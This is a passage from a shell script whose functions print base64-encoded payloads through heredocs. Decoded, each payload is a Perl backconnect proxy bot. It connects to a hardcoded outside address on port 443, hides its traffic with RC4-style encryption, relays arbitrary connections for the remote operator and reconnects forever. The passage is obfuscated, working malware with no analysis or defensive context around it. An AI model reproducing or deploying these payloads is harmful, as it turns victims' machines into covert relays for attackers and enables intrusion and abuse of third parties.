c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_52() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDAnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_53() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDEnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr 